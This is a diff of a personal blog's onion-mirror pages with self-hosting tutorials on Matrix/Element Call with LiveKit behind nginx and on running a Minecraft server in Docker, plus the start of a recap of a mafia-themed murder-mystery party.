    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +}
    +

    Reload and sanity check:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +

    Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:

    +
    curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +# expect: true
    +

    +

    Element Call + LiveKit

    +

    I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.

    +

    1) LiveKit config (/etc/livekit.yaml inside container)

    +
    port: 7880
    +bind_addresses: ["0.0.0.0"]
    +rtc:
    +  tcp_port: 7881
    +  port_range_start: 50100
    +  port_range_end: 50200
    +  use_external_ip: true
    +logging:
    +  level: info
    +turn:
    +  enabled: false
    +keys:
    +  lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
    +
    +

    Important: the secret must be >= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.

    +

    2) elementcall_jwt env

    +

    Run it with:

    +
      +
    • LIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path)
    • +
    • LIVEKIT_KEY=lk_prod_1
    • +
    • LIVEKIT_SECRET=<the long secret above>
    • +
    • LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit)
    • +
    • Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup
    • +
    +

    Check logs on start; it prints the LIVEKIT_URL it will advertise.

    +

    3) Nginx (host) for rtc.example.com

    +

    Create /etc/nginx/conf.d/rtc.conf:

    +
    server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name rtc.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
    +
    +  access_log /var/log/nginx/rtc.access.log combined;
    +
    +  # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
    +  location = /sfu/get {
    +    proxy_hide_header Access-Control-Allow-Origin;
    +    add_header Access-Control-Allow-Origin $http_origin always;
    +    add_header Vary "Origin" always;
    +    add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
    +    add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
    +    if ($request_method = OPTIONS) { return 204; }
    +
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_pass http://127.0.0.1:8070/sfu/get;  # elementcall_jwt
    +  }
    +
    +  # 3b) LiveKit WS & HTTP (catch-all)
    +  location / {
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +    proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol;  # "livekit"
    +    proxy_set_header Origin $http_origin;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_buffering off;
    +    proxy_read_timeout 3600s;
    +    proxy_pass http://127.0.0.1:7880;         # livekit
    +  }
    +}
    +

    Reload and basic checks:

    +
    sudo nginx -t && sudo systemctl reload nginx
    +# JWT preflight (should return a single ACAO header)
    +curl -si -X OPTIONS https://rtc.example.com/sfu/get \
    +  -H 'Origin: https://app.element.io' \
    +  -H 'Access-Control-Request-Method: POST' \
    +  -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
    +# Expected: one Access-Control-Allow-Origin and 200/204
    +
    +

    Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.

    +
    +

    The “waiting for media” debugging story (how I found it)

    +

    Symptom: Element Call created rooms, but calls stayed on “waiting for media.”

    +

    What worked:

    +
      +
    • elementcall_jwt could CreateRoom in LiveKit (seen in logs).
    • +
    • TURN creds endpoint returned time-limited credentials.
    • +
    +

    What didn’t appear:

    +
      +
    • No HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit.
    • +
    +

    Step 1: prove the WS vhost works (even without auth)

    +
    curl -v --http1.1 \
    +  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
    +  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
    +  -H 'Sec-WebSocket-Version: 13' \
    +  https://rtc.example.com/rtc -o /dev/null
    +

    Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.

    +

    Step 2: check the browser console

    +

    The smoking gun in DevTools:

    +
    Access-Control-Allow-Origin cannot contain more than one origin.
    +Fetch API cannot load https://rtc.example.com/sfu/get due to access control checks.
    +

    The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.

    +

    Fix: in Nginx I added:

    +
    proxy_hide_header Access-Control-Allow-Origin;
    +add_header Access-Control-Allow-Origin $http_origin always;
    +add_header Vary "Origin" always;
    +

    …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).

    +

    Step 3: confirm LiveKit side

    +

    Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.

    +
    +

    Useful verification commands

    +
    # Synapse features (expect MSC4140 true)
    +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +
    +# Well-known with RTC focus
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +
    +# TURN creds (with your access token)
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +
    +# JWT health
    +curl -si -X POST https://rtc.example.com/sfu/get
    +
    +# LiveKit simple HTTP probe
    +curl -si https://rtc.example.com | head
    +
    +# Nginx logs (look for 101 Switching Protocols when a call starts)
    +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
    +

    +

    Common pitfalls (I hit these so you don’t have to)

    +
      +
    • Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers.
    • +
    • Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it).
    • +
    • Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained).
    • +
    • Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly.
    • +
    • CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location.
    • +
    • Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths.
    • +
    • Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6.
    • +
    +
    +

    Final checklist (print me)

    +
      +
    • https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com.
    • +
    • /_matrix/client/versions shows "org.matrix.msc4140": true.
    • +
    • /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204.
    • +
    • Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log.
    • +
    • LiveKit logs show participants joining (not just CreateRoom).
    • +
    • /voip/turnServer returns time-limited TURN credentials.
    • +
    • Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range.
    • +
    +
    +

    Credits & tooling

    +
      +
    • Matrix Synapse, coTURN, LiveKit, Element Call.
    • +
    • curl, jq, docker compose logs, Nginx access logs. These are your best friends.
    • +
    • The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs.
    • +
    +

    Happy calling! 🎉

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSpglxAArFNgxheR8m2r6QvtoEuHJwI51WQteu+0un0FiIfHKtFPcXd2HiVqzODu
    +YZvIGCAecMURQMRvrgB8cO3ebY8Yi9EECnC1sHsluE05GOuro5Htja7TbsGxwTc3
    +PIe+zju7lIhTHonqLogUyyunhWxOfg1RCaSjp3n6k/r2iEamgKu6Cihrv54wstGa
    +SVJbwubie1D9TPcXU3ynC+ynNBcmVevFl7g/X7Ie8Pw0SP1dJF+we5iVqUrZgPO2
    +AudHlWRm13j7Xifv/JxqymkZV1XiShIY8Mb0Ju8m5+HjkoIaZDtSfFyt+AwPdHDQ
    +m3sMXA7yZUvy+pXtziwrOnHFAez22goAr9Ar9KcwGQgRvyxKuuKIuTq+yxtCuXBF
    +fPWo5pL0rMtIfwRyaiiX9bwV+WbBXNhghTPnaxuQ3CWkLdiwaycI7xPDAg8FzFAR
    +7yoN0vqhKSvZlAL1OQS+4yRcXnguq7UY9UF+drG0f0QpC3aht1QgrJ04gvDp2BOk
    +ymmlxCxUWQrFSqDThjv7WFCclamKTimCODKWvIG6sjQcJuLCg9CXRl+ZMvwobQqH
    +Tv8cm8PMimqJppUodB3Ig5zP3ZkVcK8uFm5XqoUnasqDVLLJaRcCu+Qt4h9gZ2w6
    +Q3Q6K/zPZcKEIrwJfczWotSgG0g8dnuMUUYALWTbRrGjN0mgCss=
    +=yHZZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/matrix_setup.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/matrix_setup.md.asc
    +gpg --verify matrix_setup.md.asc matrix_setup.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/livekit/page/1/index.html b/public-onion/tags/livekit/page/1/index.html new file mode 100644 index 0000000..91f2972 --- /dev/null +++ b/public-onion/tags/livekit/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/livekit/ + + + + + + diff --git a/public-onion/tags/lvm/index.html b/public-onion/tags/lvm/index.html new file mode 100644 index 0000000..e67caf9 --- /dev/null +++ b/public-onion/tags/lvm/index.html @@ -0,0 +1,352 @@ + + + + + + + +Lvm | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases +

    +
    +
    +

    How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.

    +
    +
    September 29, 2025 · 3 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/lvm/index.xml b/public-onion/tags/lvm/index.xml new file mode 100644 index 0000000..2f87def --- /dev/null +++ b/public-onion/tags/lvm/index.xml @@ -0,0 +1,185 @@ + + + + Lvm on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/lvm/ + Recent content in Lvm on AlipourIm journeys + Hugo -- 0.146.0 + en + Mon, 29 Sep 2025 09:06:29 +0000 + + + Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/ + Mon, 29 Sep 2025 09:06:29 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/ + How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release. + Why +

    I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:

    +
      +
    • failed to register layer: ... no space left on device
    • +
    • Client saying: “Outdated client, please use 1.21.9 Pre-Release 2”
    • +
    • Wanting config in a neat .env and no whitelist
    • +
    +

    Here’s exactly what I did.

    +
    +

    Folder layout

    +
    ~/minecraft/
    +├─ docker-compose.yml
    +├─ .env
    +└─ plugins/
    +

    +

    .env (secrets & knobs)

    +

    Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.

    +
    # Minecraft server configuration
    +EULA=TRUE
    +TYPE=PAPER
    +VERSION=LATEST
    +MEMORY=4G
    +USE_AIKAR_FLAGS=true
    +
    +# RCON (remote console)
    +ENABLE_RCON=true
    +RCON_PASSWORD=superSecretPassword123
    +
    +

    I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.

    +
    +

    docker-compose.yml

    +
    services:
    +  mc:
    +    image: itzg/minecraft-server:latest
    +    container_name: mc
    +    restart: unless-stopped
    +    ports:
    +      - "25565:25565"        # Java
    +      - "19132:19132/udp"    # Bedrock via Geyser plugin
    +    env_file:
    +      - .env
    +    volumes:
    +      - mc-data:/data
    +      - ./plugins:/plugins:ro
    +volumes:
    +  mc-data: {}
    +
    +

    The version: key in Compose is obsolete now, so I dropped it.

    +
    +

    Add Geyser (and optional Floodgate) as plugins

    +
    mkdir -p ~/minecraft/plugins
    +cd ~/minecraft/plugins
    +
    +# Geyser (Spigot/Paper)
    +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
    +
    +# Floodgate (optional: Bedrock accounts without Java linking)
    +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
    +

    Start it up:

    +
    docker compose up -d
    +

    On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.

    +
    +

    Hit a wall: /var ran out of space

    +

    Docker stores layers at /var/lib/docker by default. My /var LV was tiny:

    +
    /dev/mapper/ubuntu--vg-var   3.9G  3.4G  333M  92% /var
    +

    Quick cleanup

    +
    docker system df
    +docker system prune -f
    +docker builder prune -af
    +sudo apt-get clean
    +sudo journalctl --vacuum-size=100M
    +

    If that’s not enough, you have two good options:

    +

    Option A — Move Docker’s data off /var

    +
    sudo systemctl stop docker
    +sudo mkdir -p /home/docker
    +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
    +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
    +sudo systemctl start docker
    +docker info | grep "Docker Root Dir"
    +

    If all looks good, free the old space:

    +
    sudo rm -rf /var/lib/docker/*
    +

    Option B — Grow /var (LVM)

    +

    Check free space in the VG:

    +
    sudo vgdisplay   # look for "Free PE / Size"
    +

    If available, extend /var by +5G:

    +
    sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
    +sudo resize2fs /dev/mapper/ubuntu--vg-var
    +

    +

    The version mismatch: pre-release vs stable

    +

    My logs showed:

    +
    Starting minecraft server version 1.21.9 Pre-Release 2
    +

    That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:

    +
      +
    1. Ensure .env has: +
      VERSION=LATEST_RELEASE
      +
    2. +
    3. Recreate: +
      docker compose down
      +docker compose pull
      +docker compose up -d
      +
    4. +
    5. Verify: +
      docker logs mc | grep "Starting minecraft server version"
      +# -> Starting minecraft server version 1.21.1   (example)
      +
    6. +
    +
    +

    Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).

    +
    +

    No whitelist

    +

    Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:

    +
    docker exec -it mc rcon-cli "op YourJavaIGN"
    +

    (or edit /data/ops.json).

    +
    +

    Backup & updates

    +
      +
    • World/data live under the mc-data volume → back up /data regularly.
    • +
    • Update cleanly: +
      docker compose pull && docker compose up -d
      +
    • +
    • Watch space: +
      watch -n5 'df -h /var; docker system df'
      +
    • +
    +
    +

    TL;DR

    +
      +
    • Put Geyser/Floodgate jars in ./plugins and expose 19132/udp.
    • +
    • Keep configs in .env.
    • +
    • Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM.
    • +
    • Verify version in logs after each change.
    • +
    +

    Happy block-breaking! 🧱🚀

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSrrmBAAuVoSvB3tRIzD+N0F5OwfYvG3V3z6ok58df7p4js91/a9lcki2ywxw/Dy
    +Q3aeieiGITkd/zMNjTydy4XjkScoRFFlL5GVZ2WNjO8CvjpEv3nK7EX6jRt5leMV
    +0D0DESMnOQzgo4a1CuNHrYPHKPaMVpJ/1aKOUZwyPC9j8/70irAJpoA2jdBgSsxw
    +7p/hYijX0vGJ8+WSFj6707dh6hNRk5ZaNc0cElpkE4kXA31H0h/fRwPPteT4wjGA
    +JWQAyEUu3Vx/U0BnN6R9Lne+5cqxO0Kh8VrcBpyH2VpqH3fDk1fIHk1RdhDxwKD7
    +OzvAT5XXRS5Q6Udc7Nsa9T/OYG+elcgMAMFXosItqTRJNG72OyWloLVc/OrJ5Qsc
    +s81FbfcHp1dgjJ2gtO2Eyb/wb1WkyvrQegNnjuJzMt3awBN1BWex5Nn4Bz+UbLDz
    +g6dGQxcpfDJ6F9Tjz/ru7RZ9Yic/bo8vVvKaa6FhSAwF4SluKWS3cf3meE4GQD5r
    +NrClzg0Vujk/3zP/6yhCL7I0SwQ+NeW2HoUHeoawApBmFt/q5du4ftIx2iMMeWoH
    +F91H35CchRtKArxjpwFNt/J1QAPvKx9UvzA2uAl+LNOWXf/gomXH6Tqm9vnWr/aX
    +sczdH6N2E0+7KDO7NwjBJWa/QwdXKUlOq5fFgAop22v3vWOml1M=
    +=NmxL
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/minecraft_server.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/minecraft_server.md.asc
    +gpg --verify minecraft_server.md.asc minecraft_server.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/lvm/page/1/index.html b/public-onion/tags/lvm/page/1/index.html new file mode 100644 index 0000000..a138b10 --- /dev/null +++ b/public-onion/tags/lvm/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/lvm/ + + + + + + diff --git a/public-onion/tags/mafia/index.html b/public-onion/tags/mafia/index.html new file mode 100644 index 0000000..ef2ab26 --- /dev/null +++ b/public-onion/tags/mafia/index.html @@ -0,0 +1,352 @@ + + + + + + + +Mafia | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    La Plaza: The Falcones & the Morettis +

    +
    +
    +

    Two dynasties in Sicily collide: a funeral party for a dead Don, a gilded heir with a fatal flaw, and a whisper-soft romance that could start a war.

    +
    +
    October 25, 2025 · 13 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/mafia/index.xml b/public-onion/tags/mafia/index.xml new file mode 100644 index 0000000..9a37344 --- /dev/null +++ b/public-onion/tags/mafia/index.xml @@ -0,0 +1,220 @@ + + + + Mafia on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/mafia/ + Recent content in Mafia on AlipourIm journeys + Hugo -- 0.146.0 + en + Sat, 25 Oct 2025 07:52:53 +0000 + + + La Plaza: The Falcones & the Morettis + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/murder_mystery_night/ + Sat, 25 Oct 2025 07:52:53 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/murder_mystery_night/ + Two dynasties in Sicily collide: a funeral party for a dead Don, a gilded heir with a fatal flaw, and a whisper-soft romance that could start a war. + Last night I attended a ZiS event called “the Murder Mystery night”.

    +

    The story was about two families. The Falcones, and the Moretti family.

    +
    +

    Gold-embossed invitations arrive at La Plaza for a celebration of life honoring Salvatore Falcone, recently slain Don. All members of the Moretti family are invited to the party!

    +

    Family Trees

    + + + + + + +
    +%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% +flowchart TB +subgraph falcone["Falcone — current generation"] +direction TB +Salvatore["Salvatore Falcone
    dead boss"] +Serena["Serena
    widow (bosswife)"] +Salvatore -- Married --> Serena +%% row: siblings +subgraph falcone_row1[ ] +direction LR + Sophia["Sophia
    underboss"] + Massimo["Massimo
    lawyer"] + Fabiola["Fabiola
    financial
    advisor"] + Aurora["Aurora
    associate"] +end + +%% row: next generation +subgraph falcone_row2[ ] +direction LR + Lorenzo["Lorenzo
    fixer
    (Sophia's son)"] + Michelangelo["Michelangelo
    enforcer
    (Massimo's son)"] + Antonio["Antonio
    hitman"] +end + +Sophia --> Lorenzo +Massimo --> Michelangelo +Fabiola -- Married --> Antonio +end +
    + + + + +
    +%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% +flowchart TB +subgraph moretti["Moretti family"] +direction TB +Benito["Benito
    boss"] +Nicoletta["Nicoletta
    bosswife"] +Claudia["Claudia
    ex wife"] +Benito -- Married --> Nicoletta +Benito -- Divorced --> Claudia + +%% row: children +subgraph moretti_row1[ ] +direction LR + Sergio["Sergio
    underboss"] + Lucia["Lucia
    associate"] +end +Benito -->|son| Sergio +Nicoletta -->|son| Sergio +Benito -->|daughter| Lucia +Claudia -->|daughter| Lucia + +%% row: Lucia's crew +subgraph moretti_row2[ ] +direction LR + Violetta["Violetta
    fixer"] + Santo["Santo
    enforcer"] +end +Lucia --> Violetta +Lucia --> Santo +end + +Enrico["Enrico
    finantial advisor"] +Benito ---|younger brother| Enrico +
    + + +
    +

    Who’s Who (quick dossiers)

    +

    Falcone notes

    +
      +
    • Salvatore Falcone (†) — Former Don, killed under mysterious circumstances.
    • +
    • Serena — Salvatore’s widow; trades in charm and influence, now vying for power—especially against Sophia.
    • +
    • Sophia — Eldest sibling, longtime underboss; disciplined, feared; sees herself as rightful heir after Salvatore.
    • +
    • Massimo — Younger brother; justice-minded, hardened by his wife’s death.
    • +
    • Aurora — Youngest; underestimated as naive or harmless, but observant.
    • +
    • Fabiola — Ambitious financial brain; growth-focused, clashes with tradition.
    • +
    • Antonio — Fabiola’s husband; trusted hitman with careless drinking and looser lips than he should have.
    • +
    • Michelangelo — Massimo’s son; enforcer torn by guilt over his mother’s murder.
    • +
    • Lorenzo — Sophia’s son; quiet fixer who tidies messes, unflappable.
    • +
    +

    Moretti notes

    +
      +
    • Benito — Calculating, paranoid Boss; obsessed with securing the bloodline through his son.
    • +
    • Nicoletta — Benito’s wife; once a prostitute, now regal and cunning.
    • +
    • Sergio — Only son; appointed underboss young. All glitter, charm…and a crack in the armor: the game.
    • +
    • Enrico — Benito’s younger brother; accountant; clever, restless for influence.
    • +
    • Violetta — The family’s ice-cold fixer; keeps things “clean,” whatever it costs.
    • +
    • Claudia — Benito’s ex-wife; elegant, humiliated but dangerous in refined ways.
    • +
    • Lucia — Daughter of Benito and Claudia; proud, protective, hungry for attention from the core family.
    • +
    • Santo — Lucia’s son; bold, admired and doubted in equal measure.
    • +
    +

    Aside from these characters, there were two additional characters. +Falcon’s priest, who had confessions from every Falcon family member, and a prostitute who had slept with many of the characters in the story, and had dirt on them!

    +
    +

    World sketch: the Falcones make problems disappear and launder fortunes behind bright lights and polished floors; the Morettis flaunt neon glamour while doing the real work in shadows.

    +
    +

    After the introduction, I assumed the role of Sergio, heir to Benito and his apparent son, as the story unfolded. +All I knew was that on the night of the murder, I was not in Falcon’s house, and that I was out in a casino with Aurora.

    +

    I didn’t know how little I know about the story until the middle of the game, where everyone was starting to spill the beans! It was insane how clueless I was. LMAO

    +

    So, without further of do, let’s dive riiiiiiiiiight in!!!! Weeeee haaaaa xD

    +

    Act I, the dinner

    +

    We arrived at the family party, dressed in colorful dresses, as it was supposed to be the celebration of life. +Or that’s what was written in our invitations.

    +

    The Falcons were in black, grieving a lost one, their beloved boss, Salvatore Falcone.

    +

    The clash was instant as they though we were disrespectful to wear such cloths. +As Sophia, the organizer of the dinner, started to give us scary looks, Violetta came at her with no chill.

    +

    She said, “I know what the purpose of this dinner is, you are accusing us of murder! But shall not heed. This is an insider job, a betrayal, and we will uncover it.”

    +

    The Falcones were not happy with any of it. Massimo, Michelangelo, Lorenzo, Antonio, and Serena went back at her for how dares she! +They said Why would they take it so far to accuse them of accusing us of murder.

    +

    Violetta, our family’s ice-cold fixer, replied, “it is clear from our invitations, they are all crossed out on purpose. You want us to look bad, or someone from within is doing it with that intention”.

    +

    They went quiet. They were just as confused. Sophia invited us to sit down and eat in calm. We acknowledged and grabbed bites to eat. When all were happy and satisfied, we geared up for round two of discussions.

    +

    While the game continued, the dinner also stood out. Every dish was delicious, beautifully prepared, and truly made the evening special. I want to give props to the organizer (won’t name here out of privacy). Thank you again for such an amazing event!

    +

    Act II, the invitations

    +

    Sophia looked at us with her death smile and said, “I was involved with 9 invitations, the ones to our family, and nothing more.”

    +

    The room went into a deep silence. What did she mean? Who made Moretti’s invitations? Why were they crossed out? Why did it say it was a celebration of life, while it was a gathering of grief? Why did it ask Moretti’s to wear colorful dresses, and not black like Falcones? Who was plotting this? Was this going to end in a bloodbath? Or will the families work it out?

    +

    The occasion was grim, but the outcome was immense. Either the two sworn families rip this thin bond once and for all, or they will come out as stronger allies, ruling the lands under their influence with no power to stop them.

    +

    Violetta then looked at Sophia with her dead eyes. Both families knew the fire was going to just grow stronger…

    +

    Act III, the evidence

    +

    Violetta asked Sophia for pictures of the crime scene. Sophia signaled Michelangelo to deliver, and he did.

    +

    There were four pictures and a dissection report. Two of the pictures were from the bullet marks that had exited Salvatore’s body from the other side. The third picture was of Salvatore’s dead body, fallen on the ground in front of the set of stairs. The report stated two shots were fired, one to the head and one to the chest. Both exited the body and were fatal. The body was pushed down the stairs. According to the last picture and the dissection report, the two bullets had different calibers: a 9mm Luger and .243 WIN.

    +

    Massimo got up from his sit, pointing to an article about her wife’s death. He stated how this was similar to her death, and how she died “The Moretti way”. “She was shot and pushed down the stairs. What other evidence do you need?” said Massimo.

    +

    Benito replied calmly, “But Salvatore didn’t die the Moretti way. We use one bullet, and push the victim down afterwards. We never miss.”. “Salvatore was facing away from the stairs, according to the image, we never execute like that. We are not cowards.”, said Sergio with a collected tone.

    +

    Massimo wasn’t convinced, but he knew they were right. He just could not forgive her wife’s death.

    +

    The room went into silence again.

    +

    Violetta presented additional evidence: a picture of Salvatore with a police officer at a bar, alongside bank statements from Fabiola’s accounting showing F&E laundering money for Salvatore. No one knew what F&E stood for, but Enrico and Fabiola were suspected. They remained silent, drawing suspicion, and eventually explained that the families were linked at Enrico and Salvatore’s level, using the Falcones’ casinos to clean cocaine profits, benefitting both sides. It was unclear if Benito knew or simply would not discuss it.

    +

    In the picture, it can be seen that a note was being passed to Salvatore. It was hard to read, but it said: “Be careful”.

    +

    Serena pointed to Antonio, and he took out a piece of paper of the family’s weekly report. It was stated that Sergio and Aurora had been seen together multiple times. But why? Sergio does live a lavish lifestyle. He regularly goes to casinos, sometimes suspiciously wins large amounts, and sometimes loses a fortune. When confronted about this, he just said he enjoyed the company. But what business did the heir to Moretti’s have with the youngest of the Falcones?

    +

    Lorenzo and Michelangelo pushed this matter further. They claimed Michelangelo was tasked to get dirt on them, and to envolve Antonio if needed. In the back of a picture taken of the two of them (Sergio and Aurora) in the casino, it was written that this is abnormal behaviour, and that they should be careful with Sergio. Antonio’s report also stated the same, that they should be mindful of Sergio. Sergio only mentioned that he was not at Falcones’ that night, and that he was in a casino with Aurora; no further explanation was provided by him.

    +

    Aurora didn’t budge either.

    +

    Sergio changed the subject swiftly. He pointed to the gun used for the murder and said, “Doesn’t that look like Santo’s gun? Where were you that night, Santos?”. “I was at home, with my mother”, Santos replied, and Lucia nodded.

    +

    It felt like this conversation was going nowhere. Sophia asked the priest and the prostitute to speak up.

    +

    Act IV, the confessions

    +

    The priest came into the room. He mentioned that Aurora had confessed to being in love with Serio. That Antonio had wittnessed he is cheating on Fabiola with Lorenzo, that Michelangelo was mad about finding out Fabiola was working with Morettis, and that Salvatore had know this for a long time. He mentioned how Salvatore had changed his will before his death from giving everything to his heir, Sophia, to whoever uncovers how he dies. He mentioned how Serena had heard “there was another heir to Salvatore’s fortune”, that she was paranoid now, that all the time he asked for an heir, he wanted a son, not a child.

    +

    The prostitute continued, “Benito ordered to kill her mistress before the child was born, but he didn’t manage”. She said how Sergio had told him after getting drunk that he did not like women, but used them to his advantage.

    +

